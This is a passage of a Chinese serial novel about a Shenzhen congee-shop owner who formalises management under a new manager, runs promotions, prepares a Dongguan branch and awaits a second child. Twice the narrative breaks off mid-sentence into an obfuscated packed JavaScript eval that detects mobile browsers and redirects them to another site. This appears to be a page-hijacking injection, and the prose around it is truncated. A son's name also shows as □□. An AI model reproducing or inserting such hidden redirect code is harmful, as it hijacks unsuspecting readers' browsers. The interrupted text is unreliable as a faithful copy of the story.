“不多，制服每人两套，一百块足够。培训主要是时间成本。促销特价，薄利多销。”李文杰推推眼镜，“关键是规范，规范了才能做大。” 陈永福想了想：“那就按你说的办。不过要一步步来，先从简单的开始。” “好。” 第一件事是定制服。李文杰找了个裁缝店，做了一批白衬衫黑裤子，胸口绣“家香粥铺”四个字。员工们穿上，精神了不少。 □□看见了，说：“阿爸，你们像饭店的服务员。” “本来就是。” “真好看。” 陈永福摸摸儿子的头。是啊，好看。整齐，精神，像那么回事。 第二件事是培训。李文杰亲自培训，从怎么招呼客人，怎么端碗，怎么收钱，一点一点教。有些老员工不习惯，觉得多此一举。但练了几次，发现确实有用，服务快了，出错少了。 第三件事是促销。每周二定为特价日，海鲜粥卖四毛。果然吸引了不少客人，周二营业额比平时高两成。 陈永福看着这些变化，心里服了。专业的就是不一样。 但问题也有。李文杰要求严格，一点小错都要说。有员工受不了，找陈永福诉苦。 “老板，李经理太严了，碗没擦干都要说。” “严点好，严点才能做好。” “可我们以前不也这样……” “以前是以前，现在是现在。”陈永福说，“按李经理说的做。” 员工们嘴上应着，心里还是不服。陈永福知道，这需要时间。 七月底，深圳最热的时候。商场里的空调又坏了，修了三天才修好。那三天，美食区像个蒸笼，客人都少了。 陈永福在福田店查看，发现冰箱温度不够，有些肉开始有味了。 “怎么回事？” “冰箱老化了，制冷不行。”余师傅说。 “怎么不早说？” “说了几次了，李经理说等等看。” 陈永福皱眉。这种事不能等。他立刻打电话给电器行，买了台新冰箱，一千二。 李文杰知道后，说：“陈老板，这种大额支出要提前计划。” “等不了，肉坏了损失更大。” “但预算……” “预算我来想办法。”陈永福说，“李经理，有些事可以等，有些事不能等。你以后要分清楚。” 李文杰愣了一下，点点头：“明白了。” 这是陈永福第一次对李文杰说不。他说完有点后悔，怕伤了和气。但李文杰没说什么，反而更尊重他了。 八月，林玉兰的肚子开始显了。陈永福尽量早点回家，陪她散步，听她说话。医生说孕妇要多动，对生产好。 他们常在小区里走，一圈一圈的。有时候碰见邻居，会打招呼。 “陈老板，老板娘有喜了？恭喜恭喜！” “谢谢。” “几个月了？” “五个月了。” “真好，儿女双全。” 陈永福笑着点头。其实还不知道是男是女，但都好。 一天晚上散步，林玉兰说：“阿福，我想给孩子起个小名。” “你想叫什么？” “如果是女孩，叫安安。男孩叫康康。” “平安健康，好。” “你觉得呢？” “我觉得好。”陈永福握住她的手，“就叫安安，康康。” 林玉兰靠在他肩上：“阿福，我现在觉得，来深圳是对的。” “怎么突然这么说？” “以前总想回老家，觉得这里不是家。”林玉兰轻声说，“可现在，我在这里怀了孩子，建国在这里上学，你在这里有事业。这里就是家了。” 陈永福鼻子一酸。是啊，这里就是家了。虽然艰难，虽然累，但扎下根了。 “玉兰，谢谢你。” “谢我什么？” “谢谢你跟我来深圳，谢谢你吃苦，谢谢你给我生孩子。” 林玉兰笑了：“傻子。” 两人慢慢走回家。路灯把影子拉得很长，挨在一起，像一个人。 回到家，□□已经睡了。桌上放着作业本，数学又得了优。陈永福看了看，心里暖暖的。 他走到阳台上，点了支烟。深圳的夜，依然灯火通明。但今晚，他觉得这灯火温暖，不刺眼。 远处传来火车的汽笛声，呜——长长的，沉沉的。不知道是哪趟车，开往哪里。 但陈永福知道，他的车，就停在这里了。不走了，也走不动了。 根扎下了，就要在这里开花结果。 他掐灭烟，回屋睡觉。 明天还要早起熬粥。 11. 规矩 八月十五号，深圳下了场暴雨。雨是中午开始下的，一开始是豆大的雨点，噼里啪啦砸在商场玻璃顶上。后来连成片，哗啦啦的，像天漏了。雨水顺着玻璃往下流，外面什么都看不清。 陈永福在罗湖店前台对账。李文杰制定的新规矩，每天下午三点要对一次账，现金和账本要吻合。今天差了八毛钱，找不出来。 收银的是个新来的女孩，叫小玲，十八岁，湖南人。她急得快哭了：“老板，我真的数了三遍……” “别急，慢慢找。”陈永福说。 两人一张一张数钞票，一毛两毛五毛的，铺了一柜台。外面雨声很大，店里没客人，安静得能听见钞票翻动的声音。 数到第三遍，陈永福发现一张两毛的票子黏在一起，撕开，正好八毛。 “找到了。”他把票子分开，“以后收钱要注意，湿的票子要分开晾。” 小玲松口气：“谢谢老板。” “没事，去干活吧。” 陈永福继续对账。李文杰的账本很详细，收入、支出、成本、利润，分门别类。他刚开始看不太懂，现在慢慢习惯了。确实清楚，一目了然。 但有些地方他觉得没必要。比如要求员工每天写工作日志，记录做了什么、遇到什么问题。大多数员工只会写“熬粥”“收碗”“扫地”，跟流水账似的。 李文杰说这是培养职业习惯，陈永福觉得浪费时间。但他没反对，既然请了人家来管，就得听人家的。 雨下了一个钟头才小。商场门口积了水，清洁工在扫。陈永福看看表，四点了，该去南山店看看。李文杰说今天要检查南山店的卫生。 他撑伞走到公交站，裤子还是湿了半截。公交车来得慢，等了二十分钟。车上人多，闷热，窗户上全是雾气。 到南山店，雨停了，太阳出来，地上蒸起热气。黄秀英在门口擦玻璃，看见他，赶紧过来。 “老板。” “李经理来了吗？” “来了，在里面检查后厨。” 陈永福进去。李文杰戴着白手套，正在摸冰箱顶。刘师傅站在旁边，脸色不太好看。 “陈老板。”李文杰看见他，点点头，“冰箱顶有灰，三天没擦了。” 刘师傅嘟囔：“冰箱顶谁看得到……” “看不到就不用擦？”李文杰转身，“卫生不是做给客人看的，是做给食品安全的。灰尘掉进粥里怎么办？” 刘师傅不说话了，但明显不服。 陈永福打圆场：“刘师傅，李经理说得对，以后注意。” “知道了。”刘师傅闷声说。 李文杰又检查了灶台、储物柜、下水道，一一指出问题：灶台边角有油渍，储物柜标签贴歪了，下水道有异味。他让小玲——南山店也有个收银叫小玲，是同乡——都记下来，限期整改。 检查完，李文杰对陈永福说：“陈老板，我们开个短会。” 三人坐在店后面的小房间。黄秀英倒了茶。 “南山店主要问题是卫生标准和操作规范。”李文杰翻开笔记本，“刘师傅手艺不错，但随意性太强。今天水多放点，明天盐少放点，味道不稳定。” 陈永福看向黄秀英。黄秀英点点头：“确实，客人反映过。” “要定标准。”李文杰说，“每锅粥用多少米、多少水、多少料，写清楚，贴在墙上。刘师傅必须按标准来。” “那要是米不一样呢？”刘师傅忍不住说，“今天的米和昨天的米，吸水性可能不同。” “所以要提前试。”李文杰说，“每天第一锅粥，厨师自己先尝，调整到标准味道，再开始卖。后面的粥，都按第一锅的配比来。” 这方法陈永福觉得可行。他自己熬粥，也是凭经验调整。但经验不好教，标准好教。 “行，就按李经理说的办。”他对刘师傅说，“你配合。” 刘师傅勉强点头。 “还有，”李文杰接着说，“南山店位置好，对面电子厂工人多。但我们的粥对他们来说还是偏贵。我建议推出‘工友套餐’，一大碗白粥加两个馒头，一毛五。薄利多销。” “馒头谁做？” “可以跟旁边的包子铺合作，批量订，成本低。” 陈永福想了想：“试试看。” 短会开完，李文杰要回罗湖。陈永福送他出去。 “李经理，辛苦了。” “应该的。”李文杰看看他，“陈老板，有句话不知当讲不当讲。” “请说。” “您对员工太宽容了。”李文杰说，“管理不是交朋友，该严的时候要严。不然规矩立不起来。” 陈永福没说话。他知道李文杰说得对，但做起来难。这些员工都是苦出身，跟了他一段时间，像家人一样。他拉不下脸。 “我尽量。” “不是尽量，是必须。”李文杰正色道，“生意要做大，就不能讲人情。讲人情，就做不大。” 这话让陈永福心里一震。他想起何老板说过类似的话。看来，这是他必须过的一关。 送走李文杰，陈永福回店里。黄秀英在教小玲用新账本。 “老板，李经理的方法虽然麻烦，但确实清楚。”黄秀英说，“夜校老师也教了类似的记账法。” “你学得怎么样？” “还行，就是有些专业术语不懂。” “慢慢来。”陈永福看看表，“我回罗湖了，这边你多费心。” “老板放心。” 坐车回罗湖的路上，陈永福一直在想李文杰的话。讲人情就做不大，这话对吗？他想起老家做生意的，都是靠人情，熟人带熟人。可深圳不一样，这里陌生人多，人情淡，规矩重。 也许真得改改了。 回到罗湖店，已经六点。晚饭时间，店里坐满了人。王建军在前台忙，看见他，点点头算是打招呼。自从李文杰来了之后，王建军话少了，只管干活。 陈永福到后厨看了看。两个厨师在熬粥，按李文杰定的标准，用秤称米，用量杯量水。动作慢了，但确实规范。 “习惯吗？”他问。 一个厨师笑笑：“慢点，但不会出错。” 那就好。 七点半，高峰期过去。陈永福正准备回家，李文杰又来了，拿着几张纸。 “陈老板，这是下个月的促销计划。” 陈永福接过来看。九月要搞“开学季”活动，学生凭学生证喝粥八折；中秋节搞“团圆粥”，买三送一；月底还要搞“会员卡”，一次性充值十块，送一碗海鲜粥。 “这么多活动，忙得过来吗？” “就是要让客人记住我们。”李文杰说，“罗湖这边学校多，学生是重要客源。中秋节是家庭消费，要抓住。会员卡能锁定回头客。” 陈永福承认，李文杰有想法。但他担心成本。 “折扣这么多，还有利润吗？” “有。学生粥量可以适当减少，成本就下来了。中秋节买三送一，其实鼓励了多人消费，总营业额会增加。会员卡的充值款，能增加现金流。” 这些道理陈永福懂，但没细想过。看来专业的就是不一样。 “行，按你说的办。” 李文杰走了。陈永福收拾东西准备回家，王建军过来。 “老板，有件事……” “你说。” “李经理要求我们每天下班前要把灶台擦三遍，擦到反光。”王建军说，“我们白天已经很累了，晚上还要这么折腾，大家有意见。” 陈永福知道这事。李文杰说香港的餐厅都这样，后厨卫生是生命线。 “建军，卫生确实重要。万一吃出问题，店就完了。” “我们知道重要，但也不用这么夸张吧？”王建军难得抱怨，“以前我们也没这么擦，不也好好的？” 陈永福沉默了一会儿。他知道王建军说得对，但也知道李文杰说得对。这就是新旧观念的冲突。 “这样，”他说，“我跟李经理商量一下，看能不能简化点。但基本的卫生必须做好。” 王建军叹口气：“好吧。” 回到家，林玉兰在沙发上睡着了。电视开着，播着新闻。陈永福轻手轻脚走过去，关掉电视，拿了条毯子给她盖上。 林玉兰醒了，揉揉眼睛：“回来了？” “嗯，你继续睡。” “不睡了，做饭。”林玉兰要起身，陈永福按住她。 “你坐着，我来做。” “你会做什么？” “煮面总会。” 陈永福去厨房，烧水，下面条，打两个鸡蛋，放点青菜。简单，但快。 面煮好，端到客厅。两人坐在茶几前吃。 “今天怎么样？”林玉兰问。 “还好。”陈永福把李文杰的促销计划说了。 林玉兰听完，说：“这个李经理，是有本事。” “是啊。” “但花钱也厉害吧？” “该花的得花。”陈永福说，“他算过账，能赚回来。” 林玉兰点点头，没再问。她最近容易累，吃了几口就放下筷子。 “不舒服？” “就是困。”林玉兰摸摸肚子，“医生说正常，孩子在长。” 陈永福看着她隆起的肚子，心里暖暖的。年底他就要当两个孩子的父亲了，得更有担当。 吃完面，陈永福洗碗。林玉兰在沙发上又睡着了。他洗好碗，轻轻抱起她，放到床上。林玉兰嘟囔了一句，翻个身继续睡。 □□在写作业，门开着。陈永福走过去，看见孩子在画画，画的是三个人，两大一小，手拉手。 “作业写完了？” “写完了。”□□把画递给他，“阿爸，你看。” “画得好。”陈永福摸摸他的头，“早点睡。” “阿爸，我们学校要开运动会，你要来吗？” “什么时候？” “下周五。” 陈永福想了想，下周五应该没事：“好，阿爸去。” □□笑了：“王小军他爸也去，我们比赛谁的爸爸跑得快。” “阿爸跑不动了，老了。” “你不老。”□□认真地说，“你才三十多岁。” 陈永福笑了。是啊，才三十多，怎么感觉像五十了。 第二天，陈永福去找李文杰，商量卫生标准的事。 “李经理，卫生确实重要，但员工反映太累。能不能调整一下？” 李文杰想了想：“可以。但基本要求不能降：灶台每天擦，冰箱每周清，下水道每月通。其他的，比如擦几遍，可以灵活。” “好。” “不过陈老板，”李文杰说，“我们要开分店，要做连锁，标准必须统一。不能一个店一个样。员工累，可以轮班，可以加人，但不能降标准。” 陈永福明白这个道理。他只是不忍心看员工太辛苦。 “我知道。我会做他们工作。” “不是做工作，是要求。”李文杰说，“管理就是要求，不是商量。” 这话又让陈永福不舒服，但他知道李文杰说得对。 接下来的几天，陈永福开始“要求”。灶台没擦干净，让返工。账本记错了，批评。服务态度不好，扣奖金。 员工们不适应，背后议论。 “老板变了，跟香港人学坏了。” “以前多好，现在整天挑刺。” “不想干了。” 这些话传到陈永福耳朵里，他心里难受，但没表现出来。李文杰说，这是必经阶段。 九月初，“开学季”活动开始。罗湖店门口贴了海报：学生凭学生证，所有粥品八折。 果然吸引了不少学生。中学生、大学生，三三两两来喝粥。他们钱不多，但对味道挑剔。有人嫌粥太淡，有人嫌肉少，但总的来说，生意好了两成。 陈永福发现，学生喜欢边喝粥边聊天，一坐就是半个钟头。翻台率低了，但人气旺了。其他客人看见店里人多，也愿意进来。 李文杰说这叫“人气效应”。 中秋节的活动更成功。“团圆粥”买三送一，很多家庭来吃。福田店推出了“月饼配粥”套餐，一个月饼加一碗粥，一块钱。虽然利润薄，但卖得好。 陈永福算了算，九月份的营业额比八月增长了百分之十五。李文杰的促销计划见效了。 员工们看到生意好，奖金多，对严格管理的怨言也少了。钱是最实在的。 九月中旬，陈永福接到郑文达的电话。 “陈老板，听说最近生意不错。” “托郑先生的福。” “不是我的福，是你们做得好。”郑文达说，“我有个想法，想跟你商量。” “您说。” “我想在东莞开一家店。”郑文达说，“那边工厂多，打工的人多，市场大。你愿不愿意做？” 陈永福愣住了。东莞？他从来没想过那么远。 “郑先生，三家店我已经忙不过来了……” “不用你亲自管。”郑文达说，“派个得力的人过去，照搬深圳的模式。你提供技术和培训，占三成股份。” 三成股份，不用投钱，只出技术和人。听起来不错，但陈永福担心人手不够。 “我考虑考虑。” “不急，你慢慢想。”郑文达说，“不过陈老板，机会不等人。东莞现在发展快，早进去早占位。” 挂了电话，陈永福坐在档口里发呆。东莞，又一个陌生的地方。他的粥铺，真的要走出深圳了吗？ 晚上回家，他跟林玉兰商量。林玉兰一听就摇头。 “不行，你现在三家店都顾不过来，还去东莞？” “不用我去，派人去。” “派谁？秀英在南山， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380745|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建军在罗湖，福田有余师傅。哪个走得开？” 这倒是问题。三个店长，一个都不能少。 “可以培养新人。” “培养不要时间？”林玉兰看着他，“阿福，我知道你想做大，可你也得量力而行。你现在每天睡几个小时？你忘了上次累倒的事了？” 陈永福没忘。但他心里那团火，又被郑文达的话点燃了。东莞，更大的市场，更多的机会。 “让我想想。” “你想吧，反正我不同意。”林玉兰起身进了卧室。 陈永福一个人坐在客厅里。电视没开，灯也没开。只有窗外透进来的光，朦朦胧胧的。 他想起了刚来深圳的时候，十平米的铺面，一口锅，几张桌子。那时候只想糊口，没想过做大。现在有了三家店，还想开第四家。人的欲望，真是无止境。 可这不就是深圳吗？不断扩张，不断生长。今天觉得够了，明天又觉得不够。 他点了支烟，慢慢抽。烟是“红双喜”，味道还是没什么特别，但贵了点。 抽完烟，他做了决定：去东莞看看。不一定要开，先看看。 第二天，他跟李文杰说了这事。李文杰很赞成。 “陈老板，这是好事。品牌要扩张，就要走出去。东莞离深圳近，消费习惯相似，成功几率大。” “但人手是个问题。” “可以内部培养，也可以外部招聘。”李文杰说，“关键是模式复制。只要把深圳的成功模式复制过去，问题不大。” “那谁去管？” “黄秀英。”李文杰毫不犹豫，“她在南山店做得很好，有管理能力，又忠诚。南山店可以提拔副店长，慢慢接替她。” 陈永福没想到李文杰会推荐黄秀英。但仔细一想，确实，秀英最合适。年轻，肯学，能吃苦。 “我跟她谈谈。” 周末，陈永福去南山店找黄秀英。两人坐在店后面的小房间，陈永福说了郑文达的想法。 黄秀英听完，愣了很久。 “老板，你是说……让我去东莞管一家店？” “对。如果你愿意。” 黄秀英低下头，手指绞着衣角。过了好一会儿，她才说：“老板，我怕我做不好。” “我相信你能做好。”陈永福说，“你在南山店这半年，进步很大。李经理也说你行。” “可是东莞……我从来没去过。” “我也没去过。”陈永福笑了，“一起去看看，再做决定。” 黄秀英抬起头，眼睛亮晶晶的：“好，我去看看。” 约好了下周三去东莞。陈永福提前跟郑文达打了招呼，郑文达说派车来接。 周三早上，郑文达的黑色轿车停在商场门口。陈永福和黄秀英上车，司机是个年轻人，话不多。 车出深圳，上107国道。路两边是稻田、鱼塘、工厂。东莞比陈永福想象中要近，一个钟头就到了。 郑文达看中的铺面在莞城中心，临街，五十平米，比深圳的店都大。但周围竞争也激烈，光这条街就有五家快餐店。 “陈老板，你看怎么样？”郑文达问。 “位置不错，但竞争大。” “有竞争才有进步。”郑文达说，“而且我们做粥，跟他们的快餐不冲突。工人吃腻了米饭，换换口味。” 陈永福在周围转了转。确实工厂多，打工的人多。中午下班时，街上涌出密密麻麻的人，都穿着工服。 “人流是够。”他对黄秀英说，“你觉得呢？” 黄秀英有些紧张，但还是说：“我觉得可以试试。不过要调整菜单，这边工人可能更喜欢实惠的。” “对，价格要低，分量要足。”郑文达说，“具体怎么调，你们定。” 看完铺面，三人去吃饭。郑文达选了个茶楼，点了几个菜。 “陈老板，东莞这家店，我打算投三万。”郑文达说，“你出技术和人，占三成。黄小姐去做店长，工资比深圳高百分之二十。怎么样？” 陈永福看向黄秀英。黄秀英点点头。 “行。”陈永福说。 “那就这么定了。”郑文达举起茶杯，“以茶代酒，祝我们合作成功。” “合作成功。” 从东莞回深圳的路上，黄秀英一直看着窗外。过了好久，她才轻声说：“老板，我没想到会有这一天。” “哪一天？” “能管一家店，还是在外地。”黄秀英转过头，眼睛有点红，“我刚来深圳时，连工作都找不到。要不是你和老板娘收留，我现在不知道在哪。” 陈永福拍拍她的肩：“是你自己争气。” “我会好好干的，不给你丢脸。” “我相信你。” 车进深圳，天色已晚。华灯初上，这座城市又开始它的夜生活。 陈永福看着窗外的灯火，想起一年前，他站在老街的老榕树下，看着自己的小粥铺。那时候只想站稳脚跟，没想过能走这么远。 现在，他的粥铺要走出深圳了。 他不知道前面还有什么等着他，但他知道，他得走下去。为了家人，为了跟着他的人，也为了自己心里那团还没灭的火。 车停在商场门口。陈永福和黄秀英下车。 “老板，我回去准备准备。”黄秀英说。 “好，慢慢来，不急。” 陈永福看着黄秀英走进商场，背影在灯光下拉得很长。这个曾经蹲在路灯下哭的女孩，现在要独当一面了。 时间真快，人也真能变。 他转身往家走。路灯把他的影子拉长又缩短，缩短又拉长。 回到家，林玉兰已经睡了。□□在写作业，看见他，小声说：“阿爸，阿妈今天不舒服，吐了两次。” 陈永福心里一紧：“我去看看。” 他轻轻走进卧室。林玉兰侧躺着，呼吸均匀。他摸摸她的额头，不烫。 林玉兰醒了：“回来了？” “嗯，不舒服？” “没事，怀孕正常反应。”林玉兰握住他的手，“东莞看得怎么样？” “还行，定了。” “你真要去？” “不是我，是秀英去。” 林玉兰沉默了一会儿：“秀英能行吗？” “能行。”陈永福说，“她长大了。” “是啊，长大了。”林玉兰轻声说，“我们都老了。” “不老，还年轻。” 林玉兰笑了：“你就会说好听的。” 陈永福也笑了，在她身边躺下。两人都没说话，听着彼此的呼吸。 窗外传来车声，人声，这座城市永不眠的声音。 陈永福闭上眼睛。明天还要早起熬粥，还要面对三家店的琐事，还要准备东莞店的开业。 但今晚，他想好好睡一觉。 睡吧，明天又是新的一天。 12. 脚步 十月的深圳，总算有了点秋天的意思。早晚凉了，风吹在脸上不再黏糊糊的。商场里的空调关了，窗户打开，能听见外面的车声。 陈永福坐在罗湖店的小办公室里——说是办公室，其实就是在仓库角落隔出三平米，放张桌子、一把椅子。他在看李文杰做的季度报表，密密麻麻的数字，看得眼睛花。 三家店九月份的营业额：罗湖五千二，南山三千八，福田四千三。总利润两千一。比八月多了三百。 这成绩李文杰不满意，说“增长太慢”。陈永福却觉得不错。稳扎稳打，比大起大落强。 但东莞店的事得抓紧了。郑文达昨天又来电话，问什么时候能开业。陈永福说至少得准备两个月，郑文达说能不能快点，年底是旺季。 快不了。黄秀英要去东莞，得交接南山店的工作。南山店要提拔副店长，得选人、培训。东莞店要装修、招工、培训，样样要时间。 陈永福把黄秀英叫到办公室。 “秀英，东莞店我打算十二月初开业。你十一月就得过去，还有一个月时间，够吗？” 黄秀英想了想：“够。南山店这边，小玲可以接我的班。她跟我半年了，流程都熟。” 小玲是南山店的收银，就是那个差点为八毛钱急哭的女孩。她学东西快，现在账目、采购都能上手。 “你觉得她行？” “行。”黄秀英肯定地说，“就是年轻，威信不够。刘师傅可能不服她。” 刘师傅是个老油条，仗着手艺好，不太听管。黄秀英能镇住他，小玲未必。 “这个我来处理。”陈永福说，“你专心准备东莞的事。李经理会帮你做开业计划，你配合他。” “好。” 黄秀英走后，陈永福去了南山店。中午刚过，店里客人不多。刘师傅在后厨抽烟，看见陈永福来，赶紧掐了。 “老板。” “刘师傅，坐，说个事。” 两人坐在后厨的小凳子上。陈永福开门见山：“秀英下个月要去东莞开店，南山店以后让小玲管。” 刘师傅脸色一变：“小玲？她一个小姑娘……” “小姑娘怎么了？秀英去南山时，不也是小姑娘？”陈永福看着他，“刘师傅，你是老师傅，手艺好，得带带年轻人。” “我没说不带，就是……”刘师傅憋了半天，“小玲懂什么？她就会收个钱。” “不懂可以学。”陈永福说，“你多教教她。以后店里后厨你说了算，前厅她管。互相配合。” 刘师傅不吭声，低头搓着手上的面粉。 陈永福知道他心里不服，但没关系，时间长了就好了。 “还有个事。”陈永福说，“你上个月奖金加了十块，对吧？” “嗯。” “这个月要是营业额能过四千，再加十块。” 刘师傅眼睛亮了：“真的？” “真的。不过得保证味道稳定，不能糊弄。” “那肯定！”刘师傅拍胸脯，“陈老板放心，我一定把店搞好。” 画饼加钱，这招陈永福跟李文杰学的。有用。 处理好南山店的事，陈永福开始琢磨东莞店的人手。除了黄秀英，还得配个厨师，两个服务员，一个杂工。厨师最好从深圳派，服务员可以在当地招。 他问余师傅，福田店有没有合适的厨师能去东莞。余师傅推荐了个徒弟，姓赵，二十五岁，在福田店干了三个月，勤快，肯学。 “小赵手艺还嫩，但人踏实。黄秀英要是能带带他，能成。” “行，就他。”陈永福说，“工资比在福田高十块。” “那敢情好。” 厨师定了，接下来是培训。陈永福让黄秀英每天下午来罗湖店，跟着他学熬粥。特别是海鲜粥，火候、配料，一点不能差。 黄秀英学得认真，拿个小本子记。米和水的比例，下料的时间，调味的顺序，写得密密麻麻。 “老板，你熬粥时好像从来不看表。”一天下午，黄秀英忽然说。 陈永福愣了一下，看看墙上的钟：“是不看，凭感觉。” “可感觉怎么教？” 这问题把陈永福问住了。是啊，感觉怎么教？他熬了十几年粥，什么时候下米，什么时候加水，什么时候放料，全在手上，在眼里，在鼻子里。但说不出来。 “你看粥泡。”他指着锅里，“米开花到这个程度，就得转小火。你看这个稠度，勺子搅起来有点阻力，就说明好了。” 黄秀英盯着锅看，似懂非懂。 “多熬几次，就有感觉了。”陈永福只能说。 教了半个月，黄秀英熬的粥终于有了七八分像。陈永福尝了，点点头：“行了，够用了。剩下的，自己多练。” “谢谢老板。” “别谢我，是你自己用心。” 十月下旬，林玉兰的肚子更大了。走路要扶腰，上下楼喘气。陈永福尽量早点回家，帮她做家务。 一天晚上，林玉兰忽然说肚子疼。不是阵痛，是持续的疼，脸色发白。 陈永福慌了，赶紧送她去医院。夜里十一点，医院急诊室人不多。医生检查后说没事，是胎儿压迫神经，正常现象。 “但要注意休息，不能太累。”医生说。 “她不累，就做点家务。”陈永福说。 “家务也是累。”医生看看他，“你是她丈夫吧？多分担点。” 陈永福脸红了：“是，是。” 拿了点药，回家已经凌晨一点。林玉兰躺在床上，陈永福坐在床边守着。 “你睡吧，明天还要早起。”林玉兰说。 “不困，陪你一会儿。” 林玉兰握住他的手：“阿福，我有点怕。” “怕什么？” “怕生孩子。”林玉兰轻声说，“生建国时，我在老家，你不在身边。现在你在身边了，可我年纪大了，怕出问题。” “不会的，现在医疗条件好。”陈永福安慰她，“医生说一切正常。” “说是这么说……”林玉兰叹口气，“阿福，要是万一……我是说万一……你得把两个孩子带好。” “别说傻话。”陈永福心里一紧，“不会有万一。” 林玉兰不再说话，闭上眼睛。但陈永福知道她没睡着。 他自己也睡不着。妻子的话让他害怕。他从来没想过“万一”的事。一直以来，他只觉得日子会越来越好，生意会越做越大，家庭会越来越幸福。从没想过失去的可能。 现在想想，他是不是太自信了？把摊子铺这么大，万一哪个环节出问题，万一他倒下了，这个家怎么办？ 但开弓没有回头箭。东莞店要开，深圳的三家店要维持，几十号员工要养。他停不下来。 只能更小心，更努力。 第二天，陈永福去了趟银行，取了一千块现金。回家交给林玉兰。 “你收着，万一要用钱，方便。” “取这么多干嘛？” “备用。”陈永福说，“产检、住院、生孩子，都要钱。有备无患。” 林玉兰接过钱，小心地收好。她知道丈夫担心什么，但没说破。 十一月初，黄秀英交接完南山店的工作，准备去东莞。临走前，陈永福请她吃饭，在商场旁边的小餐馆。 点了三个菜：白切鸡、清蒸鱼、炒青菜。黄秀英吃得不多，话也不多。 “紧张？”陈永福问。 “有点。”黄秀英老实说，“老板，我怕让你失望。” “不会失望。”陈永福给她夹了块鸡肉，“你记住，开新店，头三个月最重要。味道要稳，服务要好，价格要实在。别的，慢慢来。” “嗯。” “还有，遇事别慌。解决不了就打电话给我，或者问李经理。” “知道。” 吃完饭，陈永福送她去车站。郑文达派了车来接，直接送到东莞。 “到了给我打电话。” “好。” 黄秀英上车，回头看了一眼。陈永福站在路边，朝她挥手。 车开走了。陈永福站在那儿，看了很久。 回到商场，李文杰在办公室等他。 “陈老板，东莞店的开业计划做好了。”李文杰递过一份文件，“您看看。” 陈永福翻开看。开业活动、促销方案、人员安排、预算控制，样样详细。 “李经理费心了。” “应该的。”李文杰说，“陈老板，还有件事。罗湖店的王建军，我觉得可以培养成区域经理。” “区域经理？” “就是管两三家店。”李文杰说，“您以后要管深圳和东莞的店，需要帮手。王建军忠诚，肯干，可以培养。” 陈永福想了想，觉得有道理。王建军跟了他一年多，从送餐做起，现在能管罗湖店。确实是个苗子。 “那就培养吧。具体怎么做？” “我打算让他轮岗，每个店待一个月，熟悉不同店面的运营。然后送他去培训班，学管理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380746|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “培训班？” “市里有个餐饮管理培训班，三个月，晚上上课。”李文杰说，“我打听过了，学费不贵，学的东西实用。” 陈永福点点头：“行，让他去。学费店里出。” “好。” 王建军听说要去培训班，既高兴又担心。 “老板，我小学毕业，能学得会吗？” “学得会。”陈永福说，“实践你有了，再学点理论，如虎添翼。” “那我试试。” “不是试试，是必须学好。” “是！” 安排好这些，陈永福觉得肩上的担子轻了点。有人分担，总是好的。 十一月中旬，东莞店装修完成了。黄秀英打电话来，说效果不错，就是有些细节要调整。 “老板，厨房的排烟管道有点问题，油烟排不出去。得改。” “改，多少钱都改。”陈永福说，“厨房通风是大事，不能省。” “还有，这边招的服务员都是本地人，听不懂普通话，我得学点东莞话。” 陈永福笑了：“这个慢慢来。先把店开起来。” “嗯。” 挂了电话，陈永福想起自己刚来深圳时，也听不懂粤语。现在虽然说得不标准，但能听懂了。时间能解决很多问题。 十一月底，林玉兰去做产检。陈永福陪她去，第一次进B超室。医生指着屏幕上的影像说：“看，这是头，这是手，这是脚。孩子在动呢。” 陈永福凑过去看。黑白图像，模糊不清，但他看见一个小小的轮廓，在动。 “健康吗？”他问。 “健康，一切正常。”医生说，“预产期十二月二十号左右。” “能看出男女吗？” “能，但医院规定不能说。”医生笑笑，“留个惊喜吧。” 陈永福也笑了。男女都好，健康就行。 从医院出来，林玉兰心情很好，说要吃甜食。陈永福带她去甜品店，点了双皮奶和姜撞奶。 “阿福，你说会是男孩还是女孩？”林玉兰问。 “女孩吧，像你，温柔。” “男孩也好，像你，能干。” 两人相视一笑。难得的轻松时刻。 “名字想好了吗？”陈永福问。 “想好了。男孩叫陈建华，女孩叫陈晓梅。” “建华……建国有，建华也有，好。”陈永福点头，“晓梅也好听。” “你喜欢就行。” 吃完甜品，两人慢慢走回家。阳光很好，照在身上暖洋洋的。路边的紫荆花还在开，粉粉紫紫的。 “阿福，等孩子生了，我想回趟老家。”林玉兰忽然说。 “回老家？” “嗯，带孩子们回去看看爷爷奶奶。建国都快不记得老家什么样了。” 陈永福想了想：“等孩子满月吧，春天回去。” “好。” 走到小区门口，碰见邻居张阿姨。张阿姨看见林玉兰的肚子，笑着说：“快生了吧？恭喜恭喜。” “谢谢张阿姨。” “陈老板真是好福气，生意做得好，家庭也幸福。” 陈永福笑笑，没说话。福气是有的，但辛苦也只有自己知道。 回到家，□□在做作业。看见父母回来，跑过来：“阿爸阿妈，医生怎么说？” “医生说弟弟妹妹很健康。”林玉兰摸摸他的头。 “太好了。”□□高兴地说，“等他出来，我教他写字。” “好，你当小老师。” 晚上，陈永福算账。十一月份三家店的营业额出来了，比十月又涨了点。东莞店开业在即，预算还够用。 他拿出一张纸，写接下来的计划： 十二月初，东莞店开业。 十二月中，王建军开始轮岗。 十二月底，孩子出生。 明年一月，总结全年，规划明年。 